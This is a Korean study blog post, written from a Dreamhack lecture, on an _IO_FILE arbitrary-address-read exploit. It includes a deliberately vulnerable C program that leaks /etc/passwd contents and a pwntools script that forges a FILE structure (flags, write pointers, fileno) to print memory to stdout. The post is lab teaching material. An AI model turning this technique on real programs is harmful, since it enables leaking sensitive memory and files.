[Dreamhack] _IO_FILE: 2 - _IO_FILE Arbitrary Address Read - 2

securitykss·2023년 3월 1일
0

Pwnable 강의(dreamhack)

목록 보기
55/58
post-thumbnail

https://dreamhack.io/lecture/courses/273 을 토대로 작성한 글입니다.

3. 코드 분석

// Name: iofile_aar
// gcc -o iofile_aar iofile_aar.c -no-pie 

#include <stdio.h>
#include <unistd.h>
#include <string.h>

char account_buf[1024];
FILE *fp;

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int read_account() {
	FILE *fp;
	fp = fopen("/etc/passwd", "r");
	fread(account_buf, sizeof(char), sizeof(account_buf), fp);
	fclose(fp);
}

int main() {

  const char *data = "TEST FILE!";

  init();
  read_account();

  fp = fopen("testfile", "w");

  printf("Data: ");
  read(0, fp, 300);

  fwrite(data, sizeof(char), sizeof(account_buf), fp);
  fclose(fp);
}

code description

"/etc/passwd" 파일을 읽고, 전역 변수 account_buf에 저장한다.

이 후, "testfile" 파일을 읽기 모드로 열고

파일 포인터에 300 바이트 만큼의 값을 입력할 수 있다.

이를 통해 _IO_FILE 구조체를 조작할 수 있다.

파일 포인터를 덮어쓰고나면 "testfile"파일에 "TEST FILE!" 문자열을 작성하고 종료한다.

4. Exploit

4.1 exploit design

익스플로잇의 목표는 fwrite 함수에서 참조하는 파일 구조체를 조작해

read_account 함수에서 읽은 account_buf의 내용을 획득하는 것이다.

1. 파일 구조체 조작

임의 주소의 값을 읽기 위해서는 먼저 _flags 변수를 조작해야 한다.

파일 쓰는데에 있어 필요한 권한은 _IO_IS_APPENDING으로,

_flags 변수를 매직 값인 0xfbad0000과 0x800을 포함한 값으로 변경한다.

_flags 변수를 조건에 만족하는 값으로 변경했다면

임의 주소의 값을 읽기 위해 _IO_write_ptr과 _IO_write_base를 조작해야 한다.

이후 파일에 데이터를 작성할 때 아래와 같은 코드가 실행되므로,

_IO_write_base를 account_buf의 주소로 조작하고, _IO_write_ptr을 account_buf 주소에 1024를 더한 값으로 조작한다.

그리고 파일에 데이터를 쓰는 것이 아닌 프로그램에서 출력하게끔 하기 위해 fileno 즉, 파일 디스크립터를 stdout을 나타내는 1로 덮어쓰면 된다.

write(f->_fileno, _IO_write_base, _IO_write_ptr - _IO_write_base);

4.2 파일 구조체 조작

코드를 살펴보면, _flags 변수에 _IO_MAGIC과 _IO_IS_APPENDING 비트를 포함한 값을 입력한다.

이 후 “/etc/passwd”의 내용이 저장된 account_buf의 데이터를 1024 바이트만큼 출력하기 위해

_IO_write_base와 _IO_write_ptr을 각각 account_buf 주소와 account_buf + 1024의 주소를 입력한다.

데이터를 출력하기 위한 과정을 모두 마쳤다면 프로그램에서 표준 출력을 사용해 해당 내용을 출력하도록 _fileno를 1로 변경한다.

익스플로잇에서 출력하는데에 필요하지 않은 _IO_read_end 포인터를 account_buf의 주소로 조작하는 것을 확인할 수 있다.

이는 new_do_write 함수 내에서 lseek 시스템 콜이 호출되지 않도록 하기 위함이다.

파일 구조체 조작 익스 코드

# Name: iofile_aar.py

from pwn import *

p = process("./iofile_aar")

elf = ELF('./iofile_aar')

account_buf = elf.symbols['account_buf']

payload = p64(0xfbad0000 | 0x800)
payload += p64(0) # _IO_read_ptr
payload += p64(account_buf) # _IO_read_end
payload += p64(0) # _IO_read_base
payload += p64(account_buf) # _IO_write_base 
payload += p64(account_buf + 1024) # _IO_write_ptr 
payload += p64(0) # _IO_write_end 
payload += p64(0) # _IO_buf_base
payload += p64(0) # _IO_buf_end
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0) 
payload += p64(1) # stdout

p.sendlineafter(b"Data: ", payload)

p.interactive()

마치며

파일 쓰기와 관련된 라이브러리 코드를 직접 분석하고 파일 구조체를 조작하여 임의 주소 값을 읽는 실습을 해봤다.

파일을 쓰는 과정은 파일 구조체의 일부 멤버 변수를 검사하고, 포인터를 활용해 쓰려는 데이터를 결정한다.

만약 파일 구조체를 덮어쓸 수 있다면 내부 실행되는 코드를 악용하여 임의 주소의 값을

프로그램의 표준 출력을 통해 획득할 수 있다.

Referecne

https://dreamhack.io/lecture/courses/273

profile
보안 공부를 하는 학생입니다.

0개의 댓글